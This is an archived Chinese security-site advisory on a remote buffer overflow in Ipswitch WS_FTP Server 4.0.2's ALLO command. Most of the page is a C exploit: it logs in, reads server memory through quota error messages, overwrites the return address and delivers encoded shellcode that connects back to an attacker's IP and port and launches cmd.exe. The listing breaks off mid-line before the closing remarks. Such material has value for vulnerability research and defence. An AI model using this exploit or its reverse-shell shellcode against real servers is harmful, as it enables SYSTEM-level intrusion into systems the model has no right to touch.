首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ipswitch WS_FTP ALLO任意代码执行漏洞
来源:vfocus.net 作者:vitter 发布时间:2004-04-01  

Ipswitch WS_FTP ALLO任意代码执行漏洞

涉及程序:
Ipswitch WS_FTP

描述:
Ipswitch WS_FTP ALLO任意代码执行缺陷

详细:
Ipswitch WS_FTP Server是一款适用于Windows系统的FTP服务程序。

Ipswitch WS_FTP Server在ALLO处理上存在问题,问题存在于ALLO处理函数上,当它发送错误字符串给客户端时,它会把用户目录和子目录中的所有文件的字节数以 64位值来代替ASCIIZ字符串压到堆栈中,而利用WS_FTP的REST漏洞可方便的控制这个值,因此更改这个值大小等于~256可以覆盖返回地址,远程攻击者可以利用这个漏洞进行缓冲区溢出以SYSTEM权限执行任意指令。


受影响系统:
Ipswitch WS FTP Server 4.0.2.EVAL



攻击方法:
Hugh Mann (hughmann@hotmail.com)提供了如下测试方法:

/*
* Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit
* (c)2004 Hugh Mann hughmann@hotmail.com
*
* This exploit has been tested with WS_FTP Server 4.0.2.EVAL, Windows XP SP1
*
* NOTE:
* - The exploit assumes the user has a total file size limit. If the user only has
* a max number of files limit you will need to rewrite parts of this exploit for
* it to work.
*/

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* temp_file = "#t#t#t";
#define ALLO_STRING "ALLO 18446744073709551615"

/*
* Assume all addresses >= this address to be invalid addresses. If the exploit doesn't work,
* try changing it to a larger value, eg. 0x80000000 or 0xC0000000.
*/
const MAX_ADDR = 0x80000000;

/*
* Size of each thread's stack space. From iFtpSvc.exe PE header. Must be a power of 2.
* Should not be necessary to change this since practically all PE files use the default
* size (1MB).
*/
const SERV_STK_SIZE = 0x00100000;

/*
* This is the lower bits of ESP when the ALLO handler is called. This is very WS_FTP Server
* version dependent. Should be = ESP (mod SERV_STK_SIZE)
*/
const SERV_STK_OFFS = 0x0007F208;

/*
* This is the offset of the "this" pointer relative to SERV_STK_OFFS in the ALLO handler.
*/
const SERV_STK_THIS_OFFS = -(0x210+4); // EBP is saved

/*
* Offset of username relative to the "this" pointer
*/
const SERV_THIS_USERNAME_OFFS = 0x9F8;

/*
* Offset of FTP cmd buf relative to the "this" pointer
*/
const SERV_THIS_CMDBUF_OFFS = 0x1F8;

/*
* Offset of EIP relative to vulnerable buffer
*/
const SERV_BUF_EIP = 0x110;

/*
* Return addresses to JMP ESP instruction. Must contain bytes that are valid shellcode characters.
*/
#if 1
const char* ret_addr = "\xD3\xD9\xE2\x77"; // advapi32.dll (08/29/2002), WinXP SP1
#else
// mswsock.dll is not loaded by WS_FTP Server, and I haven't investigated which DLL actually loads it
// so I don't use this possibly better return address.
const char* ret_addr = "\x3D\x40\xA5\x71"; // mswsock.dll (08/23/2001), WinXP SP1 and probably WinXP too
#endif

#define MAXLINE 0x1000

static char inbuf[MAXLINE];
static unsigned inoffs = 0;
static char last_line[MAXLINE];
static int output_all = 0;
static int quite_you = 0;

void msg2(const char *format, ...)
{
va_list args;
va_start(args, format);
vfprintf(stdout, format, args);
}

void msg(const char *format, ...)
{
if (quite_you && output_all == 0)
return;

va_list args;
va_start(args, format);
vfprintf(stdout, format, args);
}

int isrd(SOCKET s)
{
fd_set r;
FD_ZERO(&r);
FD_SET(s, &r);
timeval t = {0, 0};
int ret = select(1, &r, NULL, NULL, &t);
if (ret < 0)
return 0;
else
return ret != 0;
}

void print_all(const char* buf, int len = -1)
{
if (len == -1)
len = (int)strlen(buf);

for (int i = 0; i < len; i++)
putc(buf[i], stdout);
}

int _recv(SOCKET s, char* buf, int len, int flags)
{
int ret = recv(s, buf, len, flags);
if (!output_all || ret < 0)
return ret;

print_all(buf, ret);
return ret;
}

int get_line(SOCKET s, char* string, unsigned len)
{
char* nl;
while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL)
{
if (inoffs >= sizeof(inbuf))
{
msg("[-] Too long line\n");
return 0;
}
int len = _recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
if (len <= 0)
{
msg("[-] Error receiving data\n");
return 0;
}

inoffs += len;
}

strncpy(last_line, inbuf, sizeof(last_line));
last_line[sizeof(last_line)-1] = 0;

unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
if (nlidx >= len)
{
msg("[-] Too small caller buffer\n");
return 0;
}
memcpy(string, inbuf, nlidx);
string[nlidx] = 0;
if (nlidx > 0 && string[nlidx-1] == '\r')
string[nlidx-1] = 0;

if (nlidx + 1 >= inoffs)
inoffs = 0;
else
{
memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
inoffs -= nlidx + 1;
}

return 1;
}

int ignorerd(SOCKET s)
{
inoffs = 0;

while (1)
{
if (!isrd(s))
return 1;
if (_recv(s, inbuf, sizeof(inbuf), 0) < 0)
return 0;
}
}

int get_reply_code(SOCKET s, int (*func)(void* data, char* line) = NULL, void* data = NULL)
{
char line[MAXLINE];

if (!get_line(s, line, sizeof(line)))
{
msg("[-] Could not get status code\n");
return -1;
}
if (func)
func(data, line);

char c = line[3];
line[3] = 0;
int code;
if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
{
msg("[-] Weird reply\n");
return -1;
}

char endline[4];
memcpy(endline, line, 3);
endline[3] = ' ';
if (c == '-')
{
while (1)
{
if (!get_line(s, line, sizeof(line)))
{
msg("[-] Could not get next line\n");
return -1;
}
if (func)
func(data, line);
if (!memcmp(line, endline, sizeof(endline)))
break;
}
}

return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags = 0)
{
while (len)
{
int l = send(s, buf, len, flags);
if (l <= 0)
break;
len -= l;
buf += l;
}

return len == 0;
}

int sends(SOCKET s, const char* buf, int flags = 0)
{
return sendb(s, buf, (int)strlen(buf), flags);
}

int _send_cmd(SOCKET s, const char* fmt, va_list args, int need_reply)
{
char buf[MAXLINE];
buf[sizeof(buf)-1] = 0;
if (_vsnprintf(buf, sizeof(buf), fmt, args) < 0 || buf[sizeof(buf)-1] != 0)
{
msg("[-] Buffer overflow\n");
return -1;
}

if (output_all)
print_all(buf);

if (!ignorerd(s) || !sends(s, buf))
return -1;

if (need_reply)
return get_reply_code(s);

return 0;
}

int send_cmd(SOCKET s, const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
return _send_cmd(s, fmt, args, 1);
}

int send_cmd2(SOCKET s, const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
return _send_cmd(s, fmt, args, 0);
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen)
{
if (dstoffs < 0 || dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs)
{
msg("[-] Buffer overflow ;)\n");
return 0;
}

memcpy((char*)dst+dstoffs, src, srclen);
dstoffs += srclen;
return 1;
}

int check_invd_bytes(const char* name, const void* buf, int buflen, int (*chkchar)(char c))
{
const char* b = (const char*)buf;

for (int i = 0; i < buflen; i++)
{
if (!chkchar(b[i]))
{
msg("[-] %s[%u] (%02X) is an invalid character\n", name, i, (unsigned char)b[i]);
return 0;
}
}

return 1;
}

int enc_byte(char& c, char& k, int (*chkchar)(char c))
{
for (int i = 0; i < 0x100; i++)
{
if (!chkchar(c ^ i) || !chkchar(i))
continue;

c ^= i;
k = i;
return 1;
}

msg("[-] Could not find encryption key for byte %02X\n", c);
return 0;
}

int get_enc_key(char* buf, int size, int offs, int step, int (*chkchar)(char c), int ignore1 = -1, int ignore2 = -1)
{
for (int i = 0; i < 0x100; i++)
{
if (!chkchar(i))
continue;

for (int j = offs; j < size; j += step)
{
if (ignore1 != -1 && (j >= ignore1 && j <= ignore2))
continue; // These bytes aren't encrypted
if (!chkchar(buf[j] ^ i))
break;
}
if (j < size)
continue;

return i;
}

msg("[-] Could not find an encryption key\n");
return -1;
}

int login(SOCKET s, const char* username, const char* userpass)
{
msg("[+] Logging in as %s...\n", username);
int code;
if ((code = send_cmd(s, "USER %s\r\n", username)) < 0)
{
msg("[-] Failed to log in #1\n");
return 0;
}

if (code == 331)
{
if ((code = send_cmd(s, "PASS %s\r\n", userpass)) < 0)
{
msg("[-] Failed to log in #2\n");
return 0;
}
}

if (code != 230)
{
msg("[-] Failed to log in. Code %3u\n", code);
return 0;
}

msg("[+] Logged in\n");
return 1;
}

class xuser
{
public:
xuser() : s(INVALID_SOCKET) {}
~xuser() {close();}
int init(unsigned long ip, unsigned short port, const char* username, const char* userpass);
void close() {if (s >= 0) closesocket(s); s = INVALID_SOCKET;}
SOCKET sock() const {return s;}
int exploit(unsigned long sip, unsigned short sport);
int read_serv_mem_bytes(unsigned addr, void* dst, int dstlen);
int read_serv_mem_string(unsigned addr, char* dst, int dstlen);
int read_serv_mem_uint32(unsigned addr, unsigned* dst);

protected:
int read_serv_mem(unsigned addr, void* dst, int dstlen);

SOCKET s;
char username[260];
char userpass[260];
unsigned long ip;
unsigned short port;
};

/*
* XAUT code tested with WS_FTP Server 4.0.2.EVAL
*/
#define XAUT_2_KEY 0x49327576

int xaut_encrypt(char* dst, const char* src, int len, unsigned long key)
{
unsigned char keybuf[0x80*4];

for (int i = 0; i < sizeof(keybuf)/4; i++)
{
keybuf[i*4+0] = (char)key;
keybuf[i*4+1] = (char)(key >> 8);
keybuf[i*4+2] = (char)(key >> 16);
keybuf[i*4+3] = (char)(key >> 24);
}

for (int i = 0; i < len; i++)
{
if (i >= sizeof(keybuf))
{
msg("[-] xaut_encrypt: Too long input buffer\n");
return 0;
}
*dst++ = *src++ ^ keybuf[i];
}

return 1;
}

char* xaut_unpack(char* src, int len, int delete_it)
{
char* dst = new char[len*2 + 1];

for (int i = 0; i < len; i++)
{
dst[i*2+0] = ((src[i] >> 4) & 0x0F) + 0x35;
dst[i*2+1] = (src[i] & 0x0F) + 0x31;
}
dst[i*2] = 0;

if (delete_it)
delete src;

return dst;
}

int xaut_login(SOCKET s, int d, const char* username, const char* password, unsigned long key)
{
msg("[+] Logging in [XAUT] as %s...\n", username);
int ret = 0;
char* dst = NULL;
__try
{
const char* middle = ":";
dst = new char[strlen(username) + strlen(middle) + strlen(password) + 1];
strcpy(dst, username);
strcat(dst, middle);
strcat(dst, password);
int len = (int)strlen(dst);
if ((d == 2 && !xaut_encrypt(dst, dst, len, XAUT_2_KEY)) || !xaut_encrypt(dst, dst, len, key))
__leave;

dst = xaut_unpack(dst, len, 1);
if (send_cmd(s, "XAUT %d %s\r\n", d, dst) != 230)
__leave;

ret = 1;
}
__finally
{
delete dst;
}

if (!ret)
msg("[-] Failed to log in\n");
else
msg("[+] Logged in\n");

return ret;
}

struct my_data
{
unsigned long key;
int done_that;
char hostname[256];
};

int line_callback(void* data, char* line)
{
my_data* m = (my_data*)data;
if (m->done_that)
return 1;

/*
* Looking for a line similar to:
*
* "220-FTP_HOSTNAME X2 WS_FTP Server 4.0.2.EVAL (41541732)\r\n"
*/
char* s, *e;
if (strncmp(line, "220", 3) || !strstr(line, "WS_FTP Server") ||
(s = strrchr(line, '(')) == NULL || (e = strchr(s, ')')) == NULL)
return 1;

char buf[0x10];
int len = (int)(ULONG_PTR)(e - (s+1));
if (len >= sizeof(buf) || len > 10)
return 1;
memcpy(buf, s+1, len);
buf[len] = 0;
for (int i = 0; i < len; i++)
{
if (!isdigit((unsigned char)buf[i]))
return 1;
}
m->key = atol(buf);

for (int i = 4, len = (int)strlen(line); i < len; i++)
{
if (i-4 >= sizeof(m->hostname))
return 1;
m->hostname[i-4] = line[i];
if (line[i] == ' ')
break;
}
m->hostname[i-4] = 0;
if (m->hostname[0] == 0)
return 1;

m->done_that = 1;
return 1;
}

int xuser::init(unsigned long _ip, unsigned short _port, const char* _username, const char* _userpass)
{
ip = _ip;
port = _port;
close();

strncpy(username, _username, sizeof(username));
if (username[sizeof(username)-1] != 0)
{
msg("[-] username too long\n");
return 0;
}
strncpy(userpass, _userpass, sizeof(userpass));
if (userpass[sizeof(userpass)-1] != 0)
{
msg("[-] userpass too long\n");
return 0;
}

sockaddr_in saddr;
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
saddr.sin_addr.s_addr = htonl(ip);

in_addr a; a.s_addr = htonl(ip);
msg("[+] Connecting to %s:%u...\n", inet_ntoa(a), port);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0 || connect(s, (sockaddr*)&saddr, sizeof(saddr)) < 0)
{
msg("[-] Could not connect\n");
return 0;
}
msg("[+] Connected\n");

my_data m;
memset(&m, 0, sizeof(m));
int code = get_reply_code(s, line_callback, &m);
if (code != 220)
{
msg("[-] Got reply %3u\n", code);
return 0;
}
else if (!m.done_that)
{
msg("[-] Could not find XAUT key or host name => Not a WS_FTP Server\n");
return 0;
}

if (!xaut_login(s, 0, username, userpass, m.key) && !login(s, username, userpass))
return 0;

// Don't want UTF8 conversions
if (send_cmd(s, "LANG en\r\n") != 200)
{
msg("[-] Apparently they don't understand the english language\n");
return 0;
}

if (send_cmd(s, "NOOP step into the light\r\n") != 200)
{
msg("[-] C4n't k1ll 4 z0mbie\n");
return 0;
}

return 1;
}

SOCKET get_data_sock(SOCKET s, const char* filename, const char* cmd)
{
SOCKET sd = INVALID_SOCKET;

int error = 1;
__try
{
sockaddr_in saddr;
int len = sizeof(saddr);
if (getsockname(s, (sockaddr*)&saddr, &len) < 0 || len != sizeof(saddr) ||
(sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
__leave;

sockaddr_in daddr;
memset(&daddr, 0, sizeof(daddr));
daddr.sin_family = AF_INET;
daddr.sin_port = 0;
daddr.sin_addr.s_addr = saddr.sin_addr.s_addr;
len = sizeof(daddr);
if (bind(sd, (sockaddr*)&daddr, sizeof(daddr)) < 0 || listen(sd, 1) < 0 ||
getsockname(sd, (sockaddr*)&daddr, &len) < 0 || len != sizeof(daddr))
__leave;

unsigned long ip = ntohl(daddr.sin_addr.s_addr);
unsigned short port = ntohs(daddr.sin_port);
if (send_cmd(s, "PORT %u,%u,%u,%u,%u,%u\r\n",
(unsigned char)(ip >> 24),
(unsigned char)(ip >> 16),
(unsigned char)(ip >> 8),
(unsigned char)ip,
(unsigned char)(port >> 8),
(unsigned char)port) != 200)
__leave;

if (send_cmd2(s, "%s %s\r\n", cmd, filename) < 0)
__leave;

msg("[+] Waiting for server to connect...\n");
SOCKET sa;
sockaddr_in aaddr;
len = sizeof(aaddr);
if ((sa = accept(sd, (sockaddr*)&aaddr, &len)) < 0)
__leave;
closesocket(sd);
sd = sa;

if (get_reply_code(s) != 150)
__leave;

error = 0;
}
__finally
{
if (error)
{
msg("[-] Could not create data connection, %u\n", GetLastError());
closesocket(sd);
sd = INVALID_SOCKET;
}
else
msg("[+] Server connected\n");
}

return sd;
}

int create_file(SOCKET s, const char* tmpname, unsigned size = 1)
{
int ret = 0;

SOCKET sd = INVALID_SOCKET;
__try
{
if (size > 1 && send_cmd(s, "REST %u\r\n", size) != 350)
__leave;
if ((sd = get_data_sock(s, tmpname, "STOR")) < 0)
__leave;

ret = 1;
}
__finally
{
if (sd >= 0)
closesocket(sd);
}
if (ret && get_reply_code(s) != 226)
ret = 0;

return ret;
}

const unsigned int shlc2_offs_encstart = 0x0000002B;
const unsigned int shlc2_offs_encend = 0x000001B8;
const unsigned int shlc2_offs_enckey = 0x00000025;
unsigned char shlc2_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";

int is_valid_shlc2(char c)
{
return c != 0;
}

struct tfs_data
{
tfs_data() : tot_size(0), line(0), ok(0) {}
int line;
unsigned tot_size;
int ok;
};

int tfs_line_callback(void* data, char* line)
{
tfs_data* m = (tfs_data*)data;
if (++m->line != 1)
return 1;

if (strncmp(line, "250-", 4) ||
(m->tot_size = atoi(line+4)) == 0)
return 1;

m->ok = 1;
return 1;
}

int get_user_total_file_size(SOCKET s, unsigned& tot_size)
{
int ret = 0;
SOCKET sd = INVALID_SOCKET;
__try
{
/*
* Create a $message.txt file
*/
if ((sd = get_data_sock(s, "$message.txt", "STOR")) < 0 ||
send(sd, "%z", 2, 0) != 2)
__leave;
closesocket(sd);
sd = INVALID_SOCKET;
if (get_reply_code(s) != 226)
__leave;

tfs_data m;
const DWORD max_wait = 10000;
for (DWORD tc = GetTickCount(); GetTickCount() - tc < max_wait; )
{
if (send_cmd2(s, "CWD .\r\n") < 0)
__leave;
m.ok = m.line = 0;
int code = get_reply_code(s, tfs_line_callback, &m);
if (code != 500)
break;
}

if (!m.ok)
__leave;

tot_size = m.tot_size;
ret = 1;
}
__finally
{
if (sd >= 0)
closesocket(sd);
}

if (!ret)
msg("[-] Failed to get user total file size.\n Are you sure there's a total file size limit for this user?\n");

return ret;
}

int delete_file(SOCKET s, const char* filename)
{
DWORD tc = GetTickCount();
const DWORD wait = 10000;
while (1)
{
if (GetTickCount() - tc > wait)
return 0;

if (send_cmd(s, "STAT %s\r\n", filename) != 211)
return 1;
if (send_cmd(s, "DELE %s\r\n", filename) < 0)
return 0;
}
}

int create_file_for_addr(SOCKET s, unsigned addr)
{
int ret = 0;
__try
{
if (addr >= MAX_ADDR)
{
msg2("[-] Trying to read an addr (%08X) >= MAX_ADDR (%08X)\n", addr, MAX_ADDR);
__leave;
}
if (!delete_file(s, temp_file))
msg("[-] Could not delete file\n");

unsigned tot_size;
if (!get_user_total_file_size(s, tot_size))
__leave;

if (addr < tot_size)
{
msg2("[-] You must delete some user files to read address %08X\n", addr);
__leave;
}
unsigned size = addr - tot_size;
if (!create_file(s, temp_file, size))
__leave;

ret = 1;
}
__finally
{
}

return ret;
}

/*
* Returns < 0 => error
* Returns = 0 => server thread crashed
* Returns > 0 => read this many bytes into dst
*/
int xuser::read_serv_mem(unsigned addr, void* dst, int dstlen)
{
int file_created = 0;
int ret = -1;
__try
{
if (!create_file_for_addr(s, addr))
__leave;
file_created = 1;

if (send_cmd2(s, ALLO_STRING "\r\n") < 0)
__leave;

char buf[MAXLINE];
int bufsz = 0;
const char* m1 = "452 ";
int type = 0;
while (1)
{
if (bufsz >= sizeof(buf)-1)
__leave;

int size = _recv(s, &buf[bufsz], sizeof(buf)-1-bufsz, 0);
if (size < 0)
__leave;
if (size == 0)
{
if (bufsz == 0)
ret = 0;
__leave;
}
bufsz += size;
buf[bufsz] = 0;

if (bufsz >= (int)strlen(m1) && memcmp(m1, buf, strlen(m1)))
__leave; // Wrong reply code

const char* s1 = " files\r\n";
const char* s2 = " size\r\n";
if (bufsz >= (int)strlen(s1) && !memcmp(s1, &buf[bufsz-strlen(s1)], strlen(s1)))
{
type = 0;
break;
}
if (bufsz >= (int)strlen(s2) && !memcmp(s2, &buf[bufsz-strlen(s2)], strlen(s2)))
{
type = 1;
break;
}
}

const char* s = "quota exceeded; ";
const char* f1 = " size; ";
const char* f2 = " size\r\n";
const char* f3 = " files; ";
char* b = buf + strlen(m1);
if (strncmp(b, s, strlen(s)))
__leave;
char* ss = NULL, *se = NULL;
if (type == 0) // "quota exceeded; %s size; %u files\r\n"
{
ss = b + strlen(s);
for (int i = bufsz-(int)strlen(f1); ; i--)
{
if (i < 0)
__leave;
if (strncmp(f1, &buf[i], strlen(f1)))
continue; // Not equal to " size; "
se = &buf[i];
break;
}
}
else // "quota exceeded; %u files; %s size\r\n"
{
ss = strstr(buf, f3);
if (!ss)
__leave;
ss += strlen(f3);
se = &buf[bufsz-strlen(f2)];
}
if (!se || !ss || se < ss)
{
msg("[-] Buggy code\n");
__leave;
}

*se = 0;
int rd_size = (int)(UINT_PTR)(se - ss) + 1; // One 00h byte
ret = min((int)dstlen, rd_size);
memcpy(dst, ss, ret);
}
__finally
{
}

if (ret < 0)
msg("[-] Could not read server memory\n");
else if (ret == 0)
{
// Server thread crashed
if (!init(ip, port, username, userpass))
ret = -1;
}

return ret;
}

int xuser::read_serv_mem_bytes(unsigned addr, void* dst, int dstlen)
{
for (int i = 0; i < (int)dstlen; )
{
int len = read_serv_mem(addr+i, (char*)dst+i, dstlen-i);
if (len <= 0)
return len;
i += len;
}

return dstlen;
}

int xuser::read_serv_mem_string(unsigned addr, char* dst, int dstlen)
{
int len = read_serv_mem(addr, dst, dstlen);
if (len <= 0)
return len;
if (dst[len-1] != 0)
return -1;
return len;
}

int xuser::read_serv_mem_uint32(unsigned addr, unsigned* dst)
{
unsigned char tmp[4];
int ret = read_serv_mem_bytes(addr, tmp, sizeof(tmp));
if (ret <= 0)
return ret;
if (ret != sizeof(tmp))
return -1;

*dst = (tmp[3] << 24) | (tmp[2] << 16) | (tmp[1] << 8) | tmp[0];
return ret;
}

int xuser::exploit(unsigned long sip, unsigned short sport)
{
int ret = 0;
char* shellcode = NULL;
char* badbuf = NULL;
__try
{
/*
* Encrypt the shellcode
*/
const shellcode_len = sizeof(shlc2_code)-1;
shellcode = new char[shellcode_len+1];
memcpy(shellcode, shlc2_code, shellcode_len);
shellcode[shellcode_len] = 0;

shellcode[2] = (char)2;
shellcode[3] = (char)(2 >> 8);
shellcode[4] = (char)(sport >> 8);
shellcode[5] = (char)sport;
shellcode[6] = (char)(sip >> 24);
shellcode[7] = (char)(sip >> 16);
shellcode[8] = (char)(sip >> 8);
shellcode[9] = (char)sip;
for (int i = 0; i < 8; i++)
{
if (!enc_byte(shellcode[2+i], shellcode[2+8+i], is_valid_shlc2))
__leave;
}

for (int i = 0; i < 4; i++)
{
int k = get_enc_key(&shellcode[shlc2_offs_encstart], shlc2_offs_encend-shlc2_offs_encstart, i, 4, is_valid_shlc2);
if (k < 0)
__leave;
shellcode[shlc2_offs_enckey+i] = k;
}
msg("[+] Shellcode encryption key = %02X%02X%02X%02X\n",
(unsigned char)shellcode[shlc2_offs_enckey+3],
(unsigned char)shellcode[shlc2_offs_enckey+2],
(unsigned char)shellcode[shlc2_offs_enckey+1],
(unsigned char)shellcode[shlc2_offs_enckey]);
for (int i = 0; i < shlc2_offs_encend-shlc2_offs_encstart; i++)
shellcode[shlc2_offs_encstart+i] ^= shellcode[shlc2_offs_enckey + i % 4];

/*
* Do some sanity checks
*/
if (!check_invd_bytes("shellcode", shellcode, shellcode_len, is_valid_shlc2) ||
!check_invd_bytes("ret_addr", ret_addr, 4, is_valid_shlc2))
__leave;

if (!delete_file(s, temp_file))
{
msg("Could not delete file\n");
__leave;
}

unsigned tot_size;
if (!get_user_total_file_size(s, tot_size))
__leave;

msg("[+] Scanning server memory: ");
quite_you = 1;
const unsigned ADDR_START = SERV_STK_SIZE;
const unsigned ADDR_END = MAX_ADDR-1;
unsigned this_ptr;
for (unsigned addr = ADDR_START; ; addr += SERV_STK_SIZE)
{
if (addr > ADDR_END || !addr)
{
/*
* Can happen if the address of the thread's stack is not in the same position in
* memory. This most likely happens when another user logged in or it sent a FTP
* command which creates a new server thread. Try again.
*/
msg2("[-] Could not find the this ptr. Try again.\n");
__leave;
}
int rc = read_serv_mem_uint32(addr + SERV_STK_OFFS + SERV_STK_THIS_OFFS, &this_ptr);
if (rc < 0)
{
msg2("- unknown error\n"); // Error
__leave;
}
else if (rc == 0)
{
msg2("x"); // Crashed
}
else
{
msg2("."); // Bingo

char tmp[0x200];
if (this_ptr + SERV_THIS_USERNAME_OFFS < MAX_ADDR && this_ptr + SERV_THIS_CMDBUF_OFFS < MAX_ADDR &


解决方案:
厂商目前还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ipswitch.com/


附加信息:



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WS_FTP Server上以SYSTEM权限执
·Remote crash in Etherlords I 1
·eSignal v7 remote buffer overf
·WS_FTP Server ALLO Remote buff
·Eudora for Windows attachment
·Windows Media Services NSIISlo
·Win32 Vb cmd.exe remote shell
·Foxmail 5远程缓冲区溢出漏洞
·Remote Buffer Overflow in MDae
·Mathopd 缓冲溢出漏洞
·Nortel Networks Wireless LAN A
·GNU Anubis 3.6.2 remote root e
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved